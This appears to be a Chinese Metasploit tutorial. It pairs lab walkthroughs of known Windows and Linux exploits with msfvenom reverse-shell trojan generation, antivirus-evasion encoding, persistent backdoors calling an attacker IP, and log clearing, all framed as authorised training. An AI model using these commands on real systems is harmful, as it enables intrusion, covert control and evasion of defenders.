3_MSF详解及实例应用
摘要: 本文介绍了Metasploit Framework(MSF)的核心概念与基础应用,重点强调网络安全学习的合法合规性。MSF作为渗透测试框架,包含五大模块(辅助、漏洞利用、攻击载荷、后期渗透、编码工具),支持模块化扩展与漏洞数据库调用。文章详细解析了MSF的安装启动、目录结构及基础命令(如search、use、set),并列举Meterpreter的常用操作(会话管理、文件操作、权限提升等)
网络安全是数字时代的基石,但学习过程中必须严守法律红线。
根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于合法授权的靶场环境(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景。
网络安全学习应以提升防御能力为目标,而非成为攻击工具。
一、MSF
1、概念
MSF,全称为Metasploit Framework,是kali中一款全球知名的开源渗透测试工具。MSF(Metasploit Framework)是网络安全领域最著名的渗透测试框架之一,用于模拟黑客攻击以发现系统漏洞。MSF不仅是一个漏洞集合,更是一个可定制的基础架构,允许用户专注于特定环境,避免重复工作。
它包含五大核心模块:
- 辅助模块(Auxiliary)用于扫描探测,
- 漏洞利用模块(Exploit):负责攻击漏洞;
- 攻击载荷模块(Payload):植入后门;
- 后期渗透模块(Post):用于权限维持;
- 编码工具模块(Encoder):用于免杀
其典型攻击流程包括:
扫描目标机寻找漏洞 ==> 配置漏洞利用模块 ==> 选择并配置攻击载荷 ==> 编码绕过杀毒软件 ==> 执行渗透攻击。
例如,针对Windows系统的永恒之蓝漏洞(MS17-010),攻击者可通过MSF生成特定载荷进行利用。
MSF的优势:
- 模块化设计:用户可以轻松加载和使用第三方开发的模块,极大地扩展了其功能。
- 强大的数据库:MSF内置了大量已知漏洞的利用模块,覆盖操作系统、Web应用等多个领域。
- 灵活的接口:支持命令行(msfconsole)、图形化界面(Armitage、Web View)和远程调用接口(MSF API)
2、MSF的安装与启动
-
安装方式:
-
通过Kali Linux的Metasploit框架安装。
Kali Linux预装Metasploit,直接通过终端来启动:
sudo apt update sudo apt install metasploit-framework msfdb init # 初始化数据库 msfconsole # 启动控制台 -
通过Rapid7的官方网站下载。
-
-
启动命令:
msfconsole
3、MSF目录结构解读

MSF Kali下存放目录:/usr/share/metasploit-framework/
4、基础命令
| 命令 | 功能描述 |
|---|---|
| search | 按关键词搜索模块(如search ms17_010或 ? ms17_010) |
| use | 加载模块(如use exploit/windows/smb/ms17_010_eternalblue) |
| set | 设置参数(如set RHOSTS 192.168.1.1) |
| exploit/run | 执行攻击 |
| sessions | 查看当前的会话 |
| back | 从当前环境返回 |
| connect | 连接一个主机(如连接到百度的80端口 connect www.baidu.com 80) |
| info | 显示一个或多个模块的信息(如info exploit/windows/smb/ms08_067_netapi) |
| quit/exit | 退出MSF |
5、Meterpreter 常用命令
Meterpreter 命令需在已攻陷目标系统上执行,通过漏洞利用或后门植入获得。高级操作需管理员权限。
1. 核心操作
- 会话管理
sessions -l列出所有会话sessions -i <ID>切换到指定会话sessions -k <ID>杀死会话background将当前会话放入后台 - 进程迁移
ps列出当前进程migrate <PID>迁移到指定进程kill <PID>终止进程 - 权限提升
getuid查看当前权限getsystem尝试提升到系统权限privilege::escalate自动提权
2. 文件管理
- 文件上传/下载
upload <本地文件> <目标路径>上传文件download <目标文件> <本地路径>下载文件
示例:upload /root/backdoor.exe C:\\Windows\\ - 文件系统操作
ls列出目录内容cd <目录>切换目录cat <文件>查看文件内容rm <文件>删除文件mkdir <目录>创建目录rmdir <目录>删除目录
3. 网络配置
- 网络信息
ipconfig显示网络接口信息netstat显示网络连接route查看路由表 - 端口转发
portfwd add -l <本地端口> -p <目标端口> -r <目标IP>转发端口
示例:portfwd add -l 8080 -p 80 -r 192.168.1.100
4. 系统信息收集
- 系统信息
sysinfo显示操作系统信息getpid获取当前进程IDidletime查看系统闲置时间 - 用户信息
enum_logged_on_users列出登录用户get_local_subnets获取本地子网信息
5. 用户权限管理
- 令牌操作
token::steal <PID>偷取进程令牌token::list列出令牌信息 - 密码管理
hashdump导出密码哈希run post/windows/gather/lsa_secrets获取LSA密文
6. 后渗透利用
- 后门植入
run persistence -U -i 60 -p 4444 -r <攻击机IP>植入持久后门
示例:run persistence -U -i 60 -p 4444 -r 192.168.1.10 - 清除日志
clearav清除杀毒软件日志clearev清除系统事件日志
二、MSF渗透测试实例
1、SMB 网络服务器攻击渗透(MS08-067)
漏洞核心来源:通过目标主机开放的445端口(SMB服务默认端口)发送特制的RPC(远程过程调用)请求,调用Server服务中的NetPathCanonicalize函数。
1.)目标及靶场条件
目标:使用MSF在靶机内新建用户
用到的靶机:WinXPenSP3 系统
用到的命令:
msfconsole # 启动 MSF
use exploit/windows/smb/ms08_067_netapi # 使用模块 ms08_067_netapi
show options # 显示设置,方便进行相关设置
set RHOST 目标地址 # 设置目标地址或域名
run # 启动
# 以下为连接成功后,在MSF 中输入的指令提供给靶机去自执行
shell
net user
net user test test /add # 添加用户test和密码test
net user test /del # 删除用户test
2.)实现步骤
1.锁定靶机地址
因为是在虚拟机中运行的靶场,所以直接扫描网段就可以了
nmap 192.168.70.141/24
得到靶机地址 192.168.70.146

2.运行 MSF
启动Metasploit
msfconsole # 启动 MSF

查询模块全称,准备使用相应模块
search 08_067

复制模块的路径,并使用
use exploit/windows/smb/ms08_067_netapi

注意图片上边有一段说明:
Interact with a module by name or index. For example info 82, use 82 or use exploit/windows/smb/ms08_067_netapi
After interacting with a module you can manually set a TARGET with set TARGET 'Windows 2003 SP2 Turkish (NX)'
翻译过来: 告诉了我们使用模块的方法
通过名称或索引与模块交互。例如,info 82, use 82 或use exploit/windows/smb/ms08_067_netapi与模块交互后,您可以手动设置目标,例如:set TARGET 'Windows 2003 SP2 Turkish (NX)'
一般,不设置目标,直接使用模块,让模块自动定位
查询参数设置
show options

目标地址需要设置,参数名称为 ‘RHOSTS’
set rhosts 192.168.70.146 # 地址为上边检测到的靶机地址

设置好以后,运行模块
run

出现 Meterpreter 代表侵入成功。可以启动对方的shell
3.)实现目标
shell
net user # 查看用户
net user test test /add # 添加用户test和密码test

查看靶机的用户

目标达成!
2、浏览器攻击渗透(MS10-018)
核心漏洞来源:Tabular Data Control ActiveX控件缺陷
1.)目标及靶场条件
目标:使用MSF在靶机内新建用户
用到的靶机:WinXPenSP3 系统
用到的命令:
msfconsole # 启动 MSF
use 0 # 使用模块模块编号 进入ms10_018_ie_behaviors模块
show options # 显示设置,方便进行相关设置
set SRVHOST 10.0.0.7 # 设置攻击者服务器 IP(Kali IP)。
set PAYLOAD windows/meterpreter/bind_tcp # 使用 Meterpreter 绑定 TCP Shell,即正向shell。
set LPORT 4441 # 监听端口(需防火墙放行)也可以不设置。
exploit -j # 后台执行(-j 参数)。
# 靶机打开设置好的链接,生成会话。kali中连接会话
sessions # 查看会话
sessions -i 1 # 进入会话1
# 以下为连接成功后,在MSF 中输入的指令提供给靶机去自执行
shell
net user
net user test test /add # 添加用户test和密码test
net user test /del # 删除用户test
2.)实现步骤(正向shell)
1.运行 MSF 进入相应模块
msfconsole # 启动 MSF
search 10_018 # 查找模块
use 0 # 使用模块模块编号 进入ms10_018_ie_behaviors模块
show options # 显示设置,方便进行相关设置

2.进行相关设置,并启动
set SRVHOST 10.0.0.7 # 设置攻击者服务器 IP(Kali IP)。
# 使用 Meterpreter 绑定 TCP Shell,即正向shell。默认的payload是反向shell
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4441 # 监听端口(需防火墙放行)也可以不设置。
exploit -j # 后台执行(-j 参数)。

3.建立并进入会话
只要靶机打开生成的连接,就可以连上MSF。可以使用 sessions 命令查看
sessions # 查看会话
sessions -i 1 # 进入会话1

4.实现靶场目标
此时使用 shell 命令,进入靶机的命令框,就可以添加用户了
5.实现反向shell
与正向shell实现步骤相同,此处不再赘述!
有区别的是会多出来一个会话,但是不管哪个会话都可以进入shell达到添加用户的目标

3、应用软件格式渗透(MS10-087)
核心漏洞来源:RTF文件解析逻辑缺陷。当用户打开包含超长控制字属性字符串的RTF文件时,Word未对输入数据长度进行验证,直接将数据复制到固定大小的栈缓冲区中,导致溢出
1.)目标及靶场条件
目标:使用MSF创建的rtf文件打开靶机的计算器功能
用到的靶机:WinXPenSP3 系统
用到的命令:
msfconsole
search 10_087
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec # 设置payload 为MSF的windows/exec,即本地执行命令,默认的payload是反向shell
set CMD calc.exe # 设置 cmd框的指令为运行计算器程序 calc.exe
set FILENAME ceshi.rtf # 保存文件为 ceshi.rtf
run
2.)实现步骤
1.进入模块,查看相关设置

2.设置payload
因为使用的payload 是反向shell,所以必须更改payload 然后再查看相关设置
set payload windows/exec # 设置payload 为MSF的windows/exec,即本地执行命令

3.制作木马
set CMD calc.exe # 设置 cmd框的指令为运行计算器程序 calc.exe
set FILENAME ceshi.rtf # 保存文件为 ceshi.rtf。 此步可省略,看心情
run # 运行

运行后会生成一个木马文件,Kali下的路径为:/root/.msf4/local/msf.rtf
注意:文件夹名称前边加. 的是 隐藏的文件夹。需要在Kali中显示隐藏的文件和文件夹的话,使用快捷键 CTRL+h
4.靶机内运行木马
拷贝文件到靶机内并运行,会直接启动靶机内的计算器功能
4、利用samba服务漏洞入侵Linux主机(CVE-2017-7494)
核心漏洞来源:
CVE-2017-7494是Samba软件中一个严重的远程代码执行(RCE)漏洞,因其危害性与传播性被称为“Linux版永恒之蓝”。该漏洞允许攻击者通过SMB协议上传恶意共享库文件(.so),并诱使服务器以root权限加载执行,从而实现权限提升或完全控制目标系统。
1.)目标及靶场条件
目标:获取Linux主机权限来查看用户信息
用到的靶机:vulhub靶场,项目编号CVE-2017-7494
1.准备靶场
首先你要在 Ubuntu 系统中部署了vulhub靶场
登录 ubuntu 系统,并以管理员身份进行操作
find -name CVE-2017-7494 # 查找靶场 CVE-2017-7494 位置
cd ./vulhub/samba/CVE-2017-7494 # 进入靶场
docker-compose up -d # 启动靶场
docker-compose down # 销毁靶场。靶场使用完以后必须执行,否则无法加载别的靶场
ifconfig # 查询靶场IP地址,或者直接在kali中扫描

2.用到的命令
# kali中使用的命令
msfconsole
search pipename
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.70.131 # IP地址为Ubuntu的IP
run
id
2.)实现步骤
1.进入MSF 并进行设置

2.获得权限查看用户
输入 run 命令,显示会话成功,使用 ls 命令查看 靶场 CVE-2017-7494 的用户信息

5、Bash Shellshock(破壳CVE-2014-6271)
核心漏洞来源:
该漏洞属于注入型漏洞,类似于SQL注入。Bash将用户可控的环境变量数据错误解析为可执行代码,根源在于builtins/evalstring.c中的parse_and_execute函数未对输入进行合法性校验,未检测函数定义的终止标志}
1.)目标及靶场条件
目标:获取靶场权限来查看用户信息
用到的靶机:vulhub靶场,项目编号CVE-2014-6271
1.准备靶场
登录 ubuntu 系统,并以管理员身份进行操作
find -name CVE-2014-6271
cd ./vulhub/samba/CVE-2017-7494 # 进入靶场
docker-compose up -d # 启动靶场

查询靶场端口
docker-compose config
映射的是8080端口

此时,就可以使用 IP+端口 的形式用物理机的浏览器打开靶场

2.用到的命令
# kali中使用的命令
msfconsole
search env_exec
use multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.70.131 # IP地址为Ubuntu的IP
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id
ls

相关设置
set RHOSTS 192.168.70.131
set RPORT 8080 # 更改监听端口为靶场映射外部的端口 8080
set TARGETURI /victim.cgi
运行结果

6、PHP CGI漏洞利用(CVE-2012-1823)
核心漏洞来源:
是PHP-CGI模式下存在的一个高危远程代码执行(RCE)漏洞,影响PHP 5.0.0至5.3.11及5.4.0至5.4.1版本。该漏洞源于PHP-CGI在处理HTTP请求的查询字符串(Query String)时,错误地将用户输入解析为命令行参数,导致攻击者可通过构造恶意参数注入任意代码
1.)目标及靶场条件
目标:获取靶场权限来查看用户信息等
用到的靶机:vulhub靶场,项目编号CVE-2012-1823
1.准备靶场
登录 ubuntu 系统,并以管理员身份进行操作
find -name CVE-2012-1823
cd ./php/CVE-2012-1823 # 进入靶场
docker-compose up -d # 启动靶场
docker-compose config # 查看靶场端口信息 此靶场外部映射端口为 8080

登录靶场

2.)实现步骤
使用的命令
# kali中使用的命令
msfconsole
search arg_injection
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.70.131 # IP地址为Ubuntu的IP
set RPORT 8080 # docker 靶场对外的映射端口
run
shell
id
运行结果

7、Distcc后门漏洞(CVE-2004-2678)
核心漏洞来源:
是分布式编译工具Distcc中存在的一个远程代码执行(RCE)漏洞,因配置缺陷导致攻击者可通过网络发送恶意编译指令,在目标服务器上执行任意系统命令。
1.)目标及靶场条件
目标:获取靶场权限来查看用户信息等
用到的靶机: Metasploitable2 (Linux)
用户名/密码 msfadmin/msfadmin
用到的命令
msfconsole
search distcc_exec
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl # 设置payload 为MSF的cmd/unix/reverse_perl
set rhost 192.168.70.145 # 靶场的IP
exploit # run 也可以
id
shell
ls
2.)运行结果
打开靶场以后,获取其IP地址。就可以在物理机中打开虚拟机架设的网站

在Kali中执行MSF指令后的结果

TIPS:
此次对MSF 的设置中监听端口使用了默认设置,一般在无法建立会话的时候要考虑到靶机的端口是否开放。
8、Metasploit永恒之蓝(ms17_010)
核心漏洞来源:
FEALIST结构的内存溢出。漏洞的核心位于SMB协议处理 FEALIST(File Extended Attribute List) 的逻辑中,具体涉及SrvOs2FeaListSizeToNt函数的内存计算错误。该函数负责将OS/2格式的FEALIST转换为NT格式,但在计算所需内存大小时,未正确处理用户输入的长度参数,导致堆缓冲区溢出
1.)目标及靶场条件
目标:使用MSF在靶机内新建用户
用到的靶机:win7系统
tips:复现漏洞前,靶机系统的域防火墙需要关掉,具体执行的文件 wf.msc
使用的代码:
# kali 中运行
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.70.132
set payload windows/x64/shell/bind_tcp
run
net user test test /add
net localgroup administrators zone /add
net user
net user test /del
# 使用test用户进行远程桌面连接靶机前,在msf的 meterpreter 命令模式下运行
chcp 65001 # 解决现实乱码的问题
# 使用此命令关闭防火墙
netsh advfirewall set allprofiles state off
# 启动远程连接
run post/windows/manage/enable_rdp
2.)运行结果

三、Metasploit病毒制作
1、msfvenom 简介
msfvenom 是 Metasploit 框架中用于生成攻击载荷(Payload)的核心工具,它集成了 msfpayload 和 msfencode 的功能,能创建各种平台(如 Windows、Linux)和格式(如 EXE、DLL)的恶意软件。可以利用 msfvenom 生成木马程序,并在目标机上执行,在本地监听。
2、msfvenom 基本命令结构和常用参数
msfvenom -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <FORMAT> -o <OUTPUT_FILE>
- **-p**:指定 Payload(如
windows/meterpreter/reverse_tcp) - LHOST:攻击者监听的 IP 地址
- LPORT:监听端口
- **-f**:输出格式(如
exe、dll) - **-o**:输出文件名
常用参数:
- **-l, --list**:列出所有可用的项目(如 payloads、encoders、formats)
- **-e, --encoder**:指定编码器(如
x86/shikata_ga_nai用于免杀) - **-a, --arch**:指定目标系统架构(如
x86、x64) - **–platform**:指定目标系统平台(如
windows、linux)
3、常用Payload编码器速查表:
3.1 x86架构的编码器
| 编码器名称 | 适用平台 | 特点描述 | 使用示例 |
|---|---|---|---|
x86/shikata_ga_nai |
Windows/Linux | 多态编码器,支持动态密钥和循环异或操作,评级最高(excellent)。 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe |
x86/alpha_upper |
Windows | 将字符转换为大写形式,用于绕过大小写敏感的检测。 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/alpha_upper -f exe -o payload.exe |
x86/countdown |
Windows | 通过计数循环混淆代码,增加静态分析难度。 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/countdown -i 5 -f exe -o payload.exe |
x86/none |
Windows/Linux | 不进行编码,适用于需要原始Payload的场景。 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o payload.exe |
x86/random |
Windows | 随机化代码结构,降低特征匹配概率。 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/random -i 3 -f exe -o payload.exe |
3.2 x64架构的编码器
| 编码器名称 | 适用平台 | 特点描述 | 使用示例 |
|---|---|---|---|
| x64/shikata_ga_nai | Windows/Linux | 多态编码器,支持多次迭代(-i参数),是绕过AV检测的强力选择 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/shikata_ga_nai -i 5 -f exe -o shikata_ga_nai.exe |
| x64/alpha_mixed | Windows | 混合大小写编码,适用于绕过简单的大小写检测 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/alpha_mixed -f exe -o alpha_mixed.exe |
| x64/rc4 | Windows/Linux | 使用RC4算法进行流式加密,编码后Payload体积会增大 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/rc4 -f exe -o rc4.exe |
| x64/xor | Windows/Linux | 简单XOR加密 | msfvenom -p windows/meterpreter/reverse_tcp -e x64/xor -f exe |
| x64/add_sub | Windows/Linux | 加减法混淆 | msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/add_sub -f elf |
| x64/call4_dword_xor | Windows/Linux | 调用指令与XOR结合 | msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/call4_dword_xor -f exe |
| x64/countdown | Windows/Linux | 递减计数器混淆 | msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/countdown -f elf |
| x64/jmp_call_additive | Windows/Linux | 跳转/调用/加法组合 | msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/jmp_call_additive -f exe |
| x64/nonalpha | Windows/Linux | 非字母字符混淆 | msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/nonalpha -f elf |
| x64/nonupper | Windows/Linux | 非大写字母混淆 | msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/nonupper -f exe |
| x64/unicode_upper | Windows/Linux | Unicode大写混淆 | msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/unicode_upper -f elf |
3.3 使用建议
- 多次编码:通过
-i参数指定编码次数(建议5-15次),可显著提升免杀效果。 - 组合使用:可串联多个编码器(如
shikata_ga_nai+countdown)以增强混淆能力。 - 平台匹配:确保编码器与目标平台架构(如
x86/x64)兼容。
4、msfvenom 模块选择指南
在使用 msfvenom 生成攻击载荷时,模块选择至关重要,因为不同的模块适用于不同的操作系统和控制方式。以下是关键选择项及其说明:
4.1 Payload 模块选择
-
格式:
-p, --payload <payload>
指定攻击载荷类型,如windows/meterpreter/reverse_tcp。
示例:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o payload.exe -
分类:
- 操作系统:
windows,linux,android,osx等 - 控制方式:
meterpreter(高级控制),shell(命令行控制) - 传输方式:
reverse_tcp(反向连接),bind_tcp(正向连接) - 架构:
x86,x64
示例:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o payload.elf - 操作系统:
4.2 编码器选择
-
格式:
-e, --encoder [encoder]
通过多重编码绕过杀毒软件。
示例:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
4.3 模板文件选择
-
格式:
-x, --template <path>
使用自定义可执行文件作为模板,注入恶意代码。
示例:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -x template.exe -k -f exe -o payload.exe
4.4 输出格式选择
-
格式:
-f, --format <format>
指定生成文件的格式(如exe,elf,apk)。
示例:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f apk -o payload.apk
4.5 参数配置
- 监听地址:
LHOST
攻击主机的 IP 地址。 - 监听端口:
LPORT
攻击主机的监听端口。 - 架构:
-a, --arch
目标系统的架构(如x86,x64)。 - 平台:
--platform
目标操作系统的平台(如win,linux)。
4.6 查看可用模块
-
列出所有 Payload:
msfvenom -l payloads -
列出所有编码器:
msfvenom -l encoders
4.7 示例命令
# 生成 Windows 反向 TCP Meterpreter 木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
# 生成 Android 反向 TCP Meterpreter APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f apk -o payload.apk
# 使用模板文件生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -x template.exe -k -f exe -o payload.exe
注意:
- 选择模块时需匹配目标系统的架构和操作系统(如
windows/x64/meterpreter/reverse_tcp)。- 多重编码(如
-e x86/shikata_ga_nai -i 10)可提高隐蔽性。- 使用模板文件(
-x)可绕过杀毒软件。
5、实例–远程监控
靶机:win7 虚拟机
目标:对靶机进行监控
1.)制作木马
# Kali中运行
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5445 -f exe > hello.exe
# 使用msfvenom的windows/meterpreter/reverse_tcp模块创建木马,IP为监控主机Kali的地址,端口随便设,文件名随便设,此处为hello.exe

文件就保存在 root 目录下

将木马传递给靶机,并点击运行(模仿被攻击人员运行不明程序),此时系统进程里会出现此木马的进程

2.)开启监听
命令集
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.70.141 # 地址为监听端地址,即Kali的IP
set lport 5445 # 此处的端口要与制作木马时的端口号一致
exploit -j # 或者使用 run
运行结果

当靶机运行木马后,主机会提示 Sending stage (188998 bytes) to 192.168.70.132
并进入 meterpreter 提示符状态。
使用 命令开始监听
run vnc
此时 Kali中会出现靶机的画面,但是无法进行操作

与靶机win7的画面相同
四、本文总结与心得
1、MSF核心认知
Metasploit Framework(MSF)作为渗透测试领域的行业标准工具,其模块化设计极大提升了漏洞利用效率。通过学习可知,MSF包含五大核心模块:辅助模块(Auxiliary)负责扫描探测,漏洞利用模块(Exploit)执行攻击,攻击载荷模块(Payload)植入后门,后期渗透模块(Post)维持权限,编码工具模块(Encoder)实现免杀。这种架构使安全测试人员能专注于漏洞场景而非重复开发,典型攻击流程涵盖"扫描-配置-载荷-编码-攻击"五个阶段。
2、技术要点总结
1. 基础操作体系
- 环境部署:Kali Linux预装MSF,通过
msfdb init初始化数据库、msfconsole启动控制台 - 核心命令:
search模块检索、use加载模块、set配置参数、exploit/run执行攻击构成基础工作流 - Meterpreter交互:提供会话管理(
sessions)、进程迁移(migrate)、权限提升(getsystem)等高级功能,是后渗透阶段的核心工具
2. 典型漏洞利用场景
文档通过8个实战案例展示了MSF的应用广度:
- Windows系统:MS08-067(SMB服务)、MS17-010(永恒之蓝)等经典漏洞利用
- 浏览器攻击:MS10-018利用IE控件缺陷实现远程代码执行
- 文件格式漏洞:MS10-087通过RTF文件解析缺陷触发栈溢出
- Linux系统:CVE-2017-7494(Samba)、CVE-2014-6271(破壳漏洞)等跨平台渗透
3. 攻击载荷生成
msfvenom工具整合了payload生成与编码功能,支持Windows(EXE/DLL)、Linux(ELF)、Android(APK)等多平台格式17页。通过-e参数选择编码器(如x86/shikata_ga_nai)、-i参数设置编码迭代次数,可有效提升免杀能力。模板注入(-x参数)技术能将恶意代码伪装成正常程序,增强攻击隐蔽性。
3、实践经验提炼
- 环境准备:靶场搭建建议使用Vulhub、Metasploitable等标准化环境,确保漏洞复现的一致性
- 参数配置:RHOSTS(目标地址)、LPORT(监听端口)等核心参数需严格匹配,反向连接(reverse_tcp)与正向连接(bind_tcp)需根据网络环境选择
- 权限维持:通过
persistence模块植入持久后门、clearev清除日志等操作,可实现长期控制 - 免杀策略:组合使用多编码器(如shikata_ga_nai+countdown)、增加编码迭代次数(5-15次)是基础免杀手段
4、安全伦理思考
学习MSF技术需坚守法律与道德底线,所有测试必须获得明确授权。文档中所有案例均基于实验环境,实际应用中应严格遵守《网络安全法》等法律法规,将技术用于防御体系建设而非恶意攻击。
更多推荐
所有评论(0)